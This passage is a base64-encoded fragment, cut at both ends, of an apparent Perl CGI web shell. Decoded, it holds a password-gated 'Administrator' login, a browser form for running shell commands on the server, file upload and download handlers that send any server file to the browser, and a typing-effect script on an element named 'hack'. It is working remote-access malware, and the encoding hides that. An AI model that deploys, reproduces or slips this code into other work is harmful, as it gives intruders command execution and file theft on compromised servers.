dGl0eSA9IGZhbHNlOw0KICAgICAgdGhpcy5jdXJyZW50VGV4dCArPSB0aGlzLkhUTUxFbnRpdHlCdWZmZXI7DQogICAgICB0aGlzLmN1cnJlbnRDaGFyKys7DQogICAgICB0aGlzLnJ1bigpOw0KICAgICAgcmV0dXJuOw0KICAgIH0gZWxzZSBpZih0aGlzLmluSFRNTEVudGl0eSkgew0KICAgICAgdGhpcy5IVE1MRW50aXR5QnVmZmVyICs9IHRoaXMub3JpZ1RleHQuY2hhckF0KHRoaXMuY3VycmVudENoYXIpOw0KICAgICAgdGhpcy5jdXJyZW50Q2hhcisrOw0KICAgICAgdGhpcy5ydW4oKTsNCiAgICAgIHJldHVybjsNCiAgICB9IGVsc2Ugew0KICAgICAgdGhpcy5jdXJyZW50VGV4dCArPSB0aGlzLm9yaWdUZXh0LmNoYXJBdCh0aGlzLmN1cnJlbnRDaGFyKTsNCiAgICB9DQogICAgdGhpcy5lbGVtZW50LmlubmVySFRNTCA9IHRoaXMuY3VycmVudFRleHQ7DQogICAgdGhpcy5lbGVtZW50LmlubmVySFRNTCArPSAodGhpcy5jdXJyZW50Q2hhciA8IHRoaXMub3JpZ1RleHQubGVuZ3RoIC0gMSA/ICh0eXBlb2YgdGhpcy5jdXJzb3IgPT0gImZ1bmN0aW9uIiA/IHRoaXMuY3Vyc29yKHRoaXMuY3VycmVudFRleHQpIDogdGhpcy5jdXJzb3IpIDogIiIpOw0KICAgIHRoaXMuY3VycmVudENoYXIrKzsNCiAgICBzZXRUaW1lb3V0KCJkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnIiArIHRoaXMuZWxlbWVudC5pZCArICInKS50eXBpbmdUZXh0LnJ1bigpIiwgdGhpcy5pbnRlcnZhbCk7DQogIH0gZWxzZSB7DQoJdGhpcy5jdXJyZW50VGV4dCA9ICIiOw0KCXRoaXMuY3VycmVudENoYXIgPSAwOw0KICAgICAgICB0aGlzLnJ1bm5pbmcgPSBmYWxzZTsNCiAgICAgICAgdGhpcy5maW5pc2hlZENhbGxiYWNrKCk7DQogIH0NCn0NCjwvc2NyaXB0Pg0KPC9wcmU+DQoNCjxicj4NCg0KPHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiPg0KbmV3IFR5cGluZ1RleHQoZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoImhhY2siKSwgMzAsIGZ1bmN0aW9uKGkpeyB2YXIgYXIgPSBuZXcgQXJyYXkoIl8iLCIiKTsgcmV0dXJuICIgIiArIGFyW2kubGVuZ3RoICUgYXIubGVuZ3RoXTsgfSk7DQpUeXBpbmdUZXh0LnJ1bkFsbCgpOw0KDQo8L3NjcmlwdD4NCkVORA0KfQ0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBlbmNvZGUgaHRtbCBzcGVjaWFsIGNoYXJzDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgVXJsRW5jb2RlKCQpew0KCW15ICRzdHIgPSBzaGlmdDsNCgkkc3RyID1+IHMvKFteQS1aYS16MC05XSkvc3ByaW50ZigiJSUlMDJYIiwgb3JkKCQxKSkvc2VnOw0KCXJldHVybiAkc3RyOw0KfQ0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBBZGQgaHRtbCBzcGVjaWFsIGNoYXJzDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgSHRtbFNwZWNpYWxDaGFycygkKXsNCglteSAkdGV4dCA9IHNoaWZ0Ow0KCSR0ZXh0ID1+IHMvJi8mYW1wOy9nOw0KCSR0ZXh0ID1+IHMvIi8mcXVvdDsvZzsNCgkkdGV4dCA9fiBzLycvJy9nOw0KCSR0ZXh0ID1+IHMvPC8mbHQ7L2c7DQoJJHRleHQgPX4gcy8+LyZndDsvZzsNCglyZXR1cm4gJHRleHQ7DQp9DQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIEFkZCBsaW5rIGZvciBkaXJlY3RvcnkNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBBZGRMaW5rRGlyKCQpDQp7DQoJbXkgJGFjPXNoaWZ0Ow0KCW15IEBkaXI9KCk7DQoJaWYoJFdpbk5UKQ0KCXsNCgkJQGRpcj1zcGxpdCgvXFwvLCRDdXJyZW50RGlyKTsNCgl9ZWxzZQ0KCXsNCgkJQGRpcj1zcGxpdCgiLyIsJnRyaW0oJEN1cnJlbnREaXIpKTsNCgl9DQoJbXkgJHBhdGg9IiI7DQoJbXkgJHJlc3VsdD0iIjsNCglmb3JlYWNoIChAZGlyKQ0KCXsNCgkJJHBhdGggLj0gJF8uJFBhdGhTZXA7DQoJCSRyZXN1bHQuPSI8YSBocmVmPSc/YT0iLiRhYy4iJmQ9Ii5lbmNvZGVfYmFzZTY0KCRwYXRoKS4iJz4iLiRfLiRQYXRoU2VwLiI8L2E+IjsNCgl9DQoJcmV0dXJuICRyZXN1bHQ7DQp9DQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFByaW50cyB0aGUgbWVzc2FnZSB0aGF0IGluZm9ybXMgdGhlIHVzZXIgb2YgYSBmYWlsZWQgbG9naW4NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBQcmludExvZ2luRmFpbGVkTWVzc2FnZQ0Kew0KCXByaW50IDw8RU5EOw0KDQpQYXNzd29yZDo8YnI+DQpMb2dpbiBpbmNvcnJlY3Q8YnI+PGJyPg0KRU5EDQp9DQoNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgUHJpbnRzIHRoZSBIVE1MIGZvcm0gZm9yIGxvZ2dpbmcgaW4NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBQcmludExvZ2luRm9ybQ0Kew0KCXByaW50IDw8RU5EOw0KPGZvcm0gbmFtZT0iZiIgbWV0aG9kPSJQT1NUIiBhY3Rpb249IiRTY3JpcHRMb2NhdGlvbiI+DQo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJhIiB2YWx1ZT0ibG9naW4iPg0KTG9naW4gOiBBZG1pbmlzdHJhdG9yPGJyPg0KUGFzc3dvcmQ6PGlucHV0IHR5cGU9InBhc3N3b3JkIiBuYW1lPSJwIj4NCjxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSJFbnRlciI+DQo8L2Zvcm0+DQpFTkQNCn0NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgUHJpbnRzIHRoZSBmb290ZXIgZm9yIHRoZSBIVE1MIFBhZ2UNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBQcmludFBhZ2VGb290ZXINCnsNCglwcmludCAiPGJyPjxmb250IGNvbG9yPXJlZD5vLS0tWyAgPGZvbnQgY29sb3I9I2ZmOTkwMD5FZGl0IGJ5ICRFZGl0UGVyc2lvbiA8L2ZvbnQ+ICBdLS0tbzwvZm9udD48L2NvZGU+PC9jZW50ZXI+PC9ib2R5PjwvaHRtbD4iOw0KfQ0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBSZXRyZWl2ZXMgdGhlIHZhbHVlcyBvZiBhbGwgY29va2llcy4gVGhlIGNvb2tpZXMgY2FuIGJlIGFjY2Vzc2VzIHVzaW5nIHRoZQ0KIyB2YXJpYWJsZSAkQ29va2llc3snJ30NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBHZXRDb29raWVzDQp7DQoJQGh0dHBjb29raWVzID0gc3BsaXQoLzsgLywkRU5WeydIVFRQX0NPT0tJRSd9KTsNCglmb3JlYWNoICRjb29raWUoQGh0dHBjb29raWVzKQ0KCXsNCgkJKCRpZCwgJHZhbCkgPSBzcGxpdCgvPS8sICRjb29raWUpOw0KCQkkQ29va2llc3skaWR9ID0gJHZhbDsNCgl9DQp9DQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFByaW50cyB0aGUgc2NyZWVuIHdoZW4gdGhlIHVzZXIgbG9ncyBvdXQNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBQcmludExvZ291dFNjcmVlbg0Kew0KCXByaW50ICJDb25uZWN0aW9uIGNsb3NlZCBieSBmb3JlaWduIGhvc3QuPGJyPjxicj4iOw0KfQ0KDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIExvZ3Mgb3V0IHRoZSB1c2VyIGFuZCBhbGxvd3MgdGhlIHVzZXIgdG8gbG9naW4gYWdhaW4NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBQZXJmb3JtTG9nb3V0DQp7DQoJcHJpbnQgIlNldC1Db29raWU6IFNBVkVEUFdEPTtcbiI7ICMgcmVtb3ZlIHBhc3N3b3JkIGNvb2tpZQ0KCSZQcmludFBhZ2VIZWFkZXIoInAiKTsNCgkmUHJpbnRMb2dvdXRTY3JlZW47DQoNCgkmUHJpbnRMb2dpblNjcmVlbjsNCgkmUHJpbnRMb2dpbkZvcm07DQoJJlByaW50UGFnZUZvb3RlcjsNCglleGl0Ow0KfQ0KDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFRoaXMgZnVuY3Rpb24gaXMgY2FsbGVkIHRvIGxvZ2luIHRoZSB1c2VyLiBJZiB0aGUgcGFzc3dvcmQgbWF0Y2hlcywgaXQNCiMgZGlzcGxheXMgYSBwYWdlIHRoYXQgYWxsb3dzIHRoZSB1c2VyIHRvIHJ1biBjb21tYW5kcy4gSWYgdGhlIHBhc3N3b3JkIGRvZW5zJ3QNCiMgbWF0Y2ggb3IgaWYgbm8gcGFzc3dvcmQgaXMgZW50ZXJlZCwgaXQgZGlzcGxheXMgYSBmb3JtIHRoYXQgYWxsb3dzIHRoZSB1c2VyDQojIHRvIGxvZ2luDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgUGVyZm9ybUxvZ2luIA0Kew0KCWlmKCRMb2dpblBhc3N3b3JkIGVxICRQYXNzd29yZCkgIyBwYXNzd29yZCBtYXRjaGVkDQoJew0KCQlwcmludCAiU2V0LUNvb2tpZTogU0FWRURQV0Q9JExvZ2luUGFzc3dvcmQ7XG4iOw0KCQkmUHJpbnRQYWdlSGVhZGVyOw0KCQlwcmludCAmTGlzdERpcjsNCgl9DQoJZWxzZSAjIHBhc3N3b3JkIGRpZG4ndCBtYXRjaA0KCXsNCgkJJlByaW50UGFnZUhlYWRlcigicCIpOw0KCQkmUHJpbnRMb2dpblNjcmVlbjsNCgkJaWYoJExvZ2luUGFzc3dvcmQgbmUgIiIpICMgc29tZSBwYXNzd29yZCB3YXMgZW50ZXJlZA0KCQl7DQoJCQkmUHJpbnRMb2dpbkZhaWxlZE1lc3NhZ2U7DQoNCgkJfQ0KCQkmUHJpbnRMb2dpbkZvcm07DQoJCSZQcmludFBhZ2VGb290ZXI7DQoJCWV4aXQ7DQoJfQ0KfQ0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBQcmludHMgdGhlIEhUTUwgZm9ybSB0aGF0IGFsbG93cyB0aGUgdXNlciB0byBlbnRlciBjb21tYW5kcw0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIFByaW50Q29tbWFuZExpbmVJbnB1dEZvcm0NCnsNCgkkRW5jb2RlQ3VycmVudERpciA9IEVuY29kZURpcigkQ3VycmVudERpcik7DQoJbXkgJGRpcj0gIjxzcGFuIHN0eWxlPSdmb250OiAxMXB0IFZlcmRhbmE7IGZvbnQtd2VpZ2h0OiBib2xkOyc+Ii4mQWRkTGlua0RpcigiY29tbWFuZCIpLiI8L3NwYW4+IjsNCgkkUHJvbXB0ID0gJFdpbk5UID8gIiRkaXIgPiAiIDogIjxmb250IGNvbG9yPScjRkZGRkZGJz5bYWRtaW5cQCRTZXJ2ZXJOYW1lICRkaXJdXCQ8L2ZvbnQ+ICI7DQoJcmV0dXJuIDw8RU5EOw0KPGZvcm0gbmFtZT0iZiIgbWV0aG9kPSJQT1NUIiBhY3Rpb249IiRTY3JpcHRMb2NhdGlvbiIgb25TdWJtaXQ9IkVuY29kZXIoJ2MnKSI+DQoNCjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImEiIHZhbHVlPSJjb21tYW5kIj4NCg0KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iZCIgdmFsdWU9IiRFbmNvZGVDdXJyZW50RGlyIj4NCiRQcm9tcHQNCjxpbnB1dCB0eXBlPSJ0ZXh0IiBzaXplPSI0MCIgbmFtZT0iYyIgaWQ9ImMiPg0KPGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9IkVudGVyIj4NCjwvZm9ybT4NCkVORA0KfQ0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBQcmludHMgdGhlIEhUTUwgZm9ybSB0aGF0IGFsbG93cyB0aGUgdXNlciB0byBkb3dubG9hZCBmaWxlcw0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIFByaW50RmlsZURvd25sb2FkRm9ybQ0Kew0KCSRFbmNvZGVDdXJyZW50RGlyID0gRW5jb2RlRGlyKCRDdXJyZW50RGlyKTsNCglteSAkZGlyID0gJkFkZExpbmtEaXIoImRvd25sb2FkIik7IA0KCSRQcm9tcHQgPSAkV2luTlQgPyAiJGRpciA+ICIgOiAiW2FkbWluXEAkU2VydmVyTmFtZSAkZGlyXVwkICI7DQoJcmV0dXJuIDw8RU5EOw0KPGZvcm0gbmFtZT0iZiIgbWV0aG9kPSJQT1NUIiBhY3Rpb249IiRTY3JpcHRMb2NhdGlvbiI+DQo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJkIiB2YWx1ZT0iJEVuY29kZUN1cnJlbnREaXIiPg0KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iYSIgdmFsdWU9ImRvd25sb2FkIj4NCiRQcm9tcHQgZG93bmxvYWQ8YnI+PGJyPg0KRmlsZW5hbWU6IDxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJmIiBzaXplPSIzNSI+PGJyPjxicj4NCkRvd25sb2FkOiA8aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iQmVnaW4iPg0KDQo8L2Zvcm0+DQpFTkQNCn0NCg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBQcmludHMgdGhlIEhUTUwgZm9ybSB0aGF0IGFsbG93cyB0aGUgdXNlciB0byB1cGxvYWQgZmlsZXMNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBQcmludEZpbGVVcGxvYWRGb3JtDQp7DQoJJEVuY29kZUN1cnJlbnREaXIgPSBFbmNvZGVEaXIoJEN1cnJlbnREaXIpOw0KCW15ICRkaXI9ICZBZGRMaW5rRGlyKCJ1cGxvYWQiKTsNCgkkUHJvbXB0ID0gJFdpbk5UID8gIiRkaXIgPiAiIDogIlthZG1pblxAJFNlcnZlck5hbWUgJGRpcl1cJCAiOw0KCXJldHVybiA8PEVORDsNCjxmb3JtIG5hbWU9ImYiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiIG1ldGhvZD0iUE9TVCIgYWN0aW9uPSIkU2NyaXB0TG9jYXRpb24iPg0KJFByb21wdCB1cGxvYWQ8YnI+PGJyPg0KRmlsZW5hbWU6IDxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmIiBzaXplPSIzNSI+PGJyPjxicj4NCk9wdGlvbnM6ICZuYnNwOzxpbnB1dCB0eXBlPSJjaGVja2JveCIgbmFtZT0ibyIgaWQ9InVwIiB2YWx1ZT0ib3ZlcndyaXRlIj4NCjxsYWJlbCBmb3I9InVwIj5PdmVyd3JpdGUgaWYgaXQgRXhpc3RzPC9sYWJlbD48YnI+PGJyPg0KVXBsb2FkOiZuYnNwOyZuYnNwOyZuYnNwOzxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSJCZWdpbiI+DQo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJkIiB2YWx1ZT0iJEVuY29kZUN1cnJlbnREaXIiPg0KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iYSIgdmFsdWU9InVwbG9hZCI+DQo8L2Zvcm0+DQpFTkQNCn0NCg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBUaGlzIGZ1bmN0aW9uIGlzIGNhbGxlZCB3aGVuIHRoZSB0aW1lb3V0IGZvciBhIGNvbW1hbmQgZXhwaXJlcy4gV2UgbmVlZCB0bw0KIyB0ZXJtaW5hdGUgdGhlIHNjcmlwdCBpbW1lZGlhdGVseS4gVGhpcyBmdW5jdGlvbiBpcyB2YWxpZCBvbmx5IG9uIFVuaXguIEl0IGlzDQojIG5ldmVyIGNhbGxlZCB3aGVuIHRoZSBzY3JpcHQgaXMgcnVubmluZyBvbiBOVC4NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBDb21tYW5kVGltZW91dA0Kew0KCWlmKCEkV2luTlQpDQoJew0KCQlhbGFybSgwKTsNCgkJcmV0dXJuIDw8RU5EOw0KPC90ZXh0YXJlYT4NCjxicj48Zm9udCBjb2xvcj15ZWxsb3c+DQpDb21tYW5kIGV4Y2VlZGVkIG1heGltdW0gdGltZSBvZiAkQ29tbWFuZFRpbWVvdXREdXJhdGlvbiBzZWNvbmQocykuPC9mb250Pg0KPGJyPjxmb250IHNpemU9JzYnIGNvbG9yPXJlZD5LaWxsZWQgaXQhPC9mb250Pg0KRU5EDQoJfQ0KfQ0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBUaGlzIGZ1bmN0aW9uIGRpc3BsYXlzIHRoZSBwYWdlIHRoYXQgY29udGFpbnMgYSBsaW5rIHdoaWNoIGFsbG93cyB0aGUgdXNlcg0KIyB0byBkb3dubG9hZCB0aGUgc3BlY2lmaWVkIGZpbGUuIFRoZSBwYWdlIGFsc28gY29udGFpbnMgYSBhdXRvLXJlZnJlc2gNCiMgZmVhdHVyZSB0aGF0IHN0YXJ0cyB0aGUgZG93bmxvYWQgYXV0b21hdGljYWxseS4NCiMgQXJndW1lbnQgMTogRnVsbHkgcXVhbGlmaWVkIGZpbGVuYW1lIG9mIHRoZSBmaWxlIHRvIGJlIGRvd25sb2FkZWQNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBQcmludERvd25sb2FkTGlua1BhZ2UNCnsNCglsb2NhbCgkRmlsZVVybCkgPSBAXzsNCglteSAkcmVzdWx0PSIiOw0KCWlmKC1lICRGaWxlVXJsKSAjIGlmIHRoZSBmaWxlIGV4aXN0cw0KCXsNCgkJIyBlbmNvZGUgdGhlIGZpbGUgbGluayBzbyB3ZSBjYW4gc2VuZCBpdCB0byB0aGUgYnJvd3Nlcg0KCQkkRmlsZVVybCA9fiBzLyhbXmEtekEtWjAtOV0pLyclJy51bnBhY2soIkgqIiwkMSkvZWc7DQoJCSREb3dubG9hZExpbmsgPSAiJFNjcmlwdExvY2F0aW9uP2E9ZG93bmxvYWQmZj0kRmlsZVVybCZvPWdvIjsNCgkJJEh0bWxNZXRhSGVhZGVyID0gIjxtZXRhIEhUVFAtRVFVSVY9XCJSZWZyZXNoXCIgQ09OVEVOVD1cIjE7IFVSTD0kRG93bmxvYWRMaW5rXCI+IjsNCgkJJlByaW50UGFnZUhlYWRlcigiYyIpOw0KCQkkcmVzdWx0IC49IDw8RU5EOw0KU2VuZGluZyBGaWxlICRUcmFuc2ZlckZpbGUuLi48YnI+DQoNCklmIHRoZSBkb3dubG9hZCBkb2VzIG5vdCBzdGFydCBhdXRvbWF0aWNhbGx5LA0KPGEgaHJlZj0iJERvd25sb2FkTGluayI+Q2xpY2sgSGVyZTwvYT4NCkVORA0KCQkkcmVzdWx0IC49ICZQcmludENvbW1hbmRMaW5lSW5wdXRGb3JtOw0KCX0NCgllbHNlICMgZmlsZSBkb2Vzbid0IGV4aXN0DQoJew0KCQkkcmVzdWx0IC49ICJGYWlsZWQgdG8gZG93bmxvYWQgJEZpbGVVcmw6ICQhIjsNCgkJJHJlc3VsdCAuPSAmUHJpbnRGaWxlRG93bmxvYWRGb3JtOw0KCX0NCglyZXR1cm4gJHJlc3VsdDsNCn0NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgVGhpcyBmdW5jdGlvbiByZWFkcyB0aGUgc3BlY2lmaWVkIGZpbGUgZnJvbSB0aGUgZGlzayBhbmQgc2VuZHMgaXQgdG8gdGhlDQojIGJyb3dzZXIsIHNvIHRoYXQgaXQgY2FuIGJlIGRvd25sb2FkZWQgYnkgdGhlIHVzZXIuDQojIEFyZ3VtZW50IDE6IEZ1bGx5IHF1YWxpZmllZCBwYXRobmFtZSBvZiB0aGUgZmlsZSB0byBiZSBzZW50Lg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIFNlbmRGaWxlVG9Ccm93c2VyDQp7DQoJbXkgJHJlc3VsdCA9ICIiOw0KCWxvY2FsKCRTZW5kRmlsZSkgPSBAXzsNCglpZihvcGVuKFNFTkRGSUxFLCAkU2VuZEZpbGUpKSAjIGZpbGUgb3BlbmVkIGZvciByZWFkaW5nDQoJew0KCQlpZigkV2luTlQpDQoJCXsNCgkJCWJpbm1vZGUoU0VOREZJTEUpOw0KCQkJYmlubW9kZShTVERPVVQpOw0KCQl9DQoJCSRGaWxlU2l6ZSA9IChzdGF0KCRTZW5kRmlsZSkpWzddOw0KCQkoJEZpbGVuYW1lID0gJFNlbmRGaWxlKSA9fiAgbSEoW14vXlxcXSopJCE7DQoJCXByaW50ICJDb250ZW50LVR5cGU6IGFwcGxpY2F0aW9uL3gtdW5rbm93blxuIjsNCgkJcHJpbnQgIkNvbnRlbnQtTGVuZ3RoOiAkRmlsZVNpemVcbiI7DQoJCXByaW50ICJDb250ZW50LURpc3Bvc2l0aW9uOiBhdHRhY2htZW50OyBmaWxlbmFtZT0kMVxuXG4iOw0KCQlwcmludCB3aGlsZSg8U0VOREZJTEU+KTsNCgkJY2xvc2UoU0VOREZJTEUpOw0KCQlleGl0KDEpOw0KCX0NCgllbHNlICMgZmFpbGVkIHRvIG9wZW4gZmlsZQ0KCXsNCgkJJHJlc3VsdCAuPSAiRmFpbGVkIHRvIGRvd25sb2FkICRTZW5kRmlsZTogJCEiOw0KCQkkcmVzdWx0IC49JlByaW50RmlsZURvd25sb2FkRm9ybTsNCgl9DQoJcmV0dXJuICRyZXN1bHQ7DQp9DQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFRoaXMgZnVuY3Rpb24gaXMgY2FsbGVkIHdoZW4gdGhlIHVzZXIgZG93bmxvYWRzIGEgZmlsZS4gSXQgZGlzcGxheXMgYSBtZXNzYWdlDQojIHRvIHRoZSB1c2VyIGFuZCBwcm92aWRlcyBhIGxpbmsgdGhyb3VnaCB3aGljaCB0aGUgZmlsZSBjYW4gYmUgZG93bmxvYWRlZC4NCiMgVGhpcyBmdW5jdGlvbiBpcyBhbHNvIGNhbGxlZCB3aGVuIHRoZSB1c2VyIGNsaWNrcyBvbiB0aGF0IGxpbmsuIEluIHRoaXMgY2FzZSwNCiMgdGhlIGZpbGUgaXMgcmVhZCBhbmQgc2VudCB0byB0aGUgYnJvd3Nlci4NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBCZWdpbkRvd25sb2FkDQp7DQoJJEVuY29kZUN1cnJlbnREaXIgPSBFbmNvZGVEaXIoJEN1cnJlbnREaXIpOw0KCSMgZ2V0IGZ1bGx5IHF1YWxpZmllZCBwYXRoIG9mIHRoZSBmaWxlIHRvIGJlIGRvd25sb2FkZWQNCglpZigoJFdpbk5UICYgKCRUcmFuc2ZlckZpbGUgPX4gbS9eXFx8Xi46LykpIHwNCgkJKCEkV2luTlQgJiAoJFRyYW5zZmVyRmlsZSA9fiBtL15cLy8pKSkgIyBwYXRoIGlzIGFic29sdXRlDQoJew0KCQkkVGFyZ2V0RmlsZSA9ICRUcmFuc2ZlckZpbGU7DQoJfQ0KCWVsc2UgIyBwYXRoIGlzIHJlbGF0aXZlDQoJew0KCQljaG9wKCRUYXJnZXRGaWxlKSBpZigkVGFyZ2V0RmlsZSA9ICRDdXJyZW50RGlyKSA9fiBtL1tcXFwvXSQvOw0KCQkkVGFyZ2V0RmlsZSAuPSAkUGF0aFNlcC4kVHJhbnNmZXJGaWxlOw0KCX0NCg0KCWlmKCRPcHRpb25zIGVxICJnbyIpICMgd2UgaGF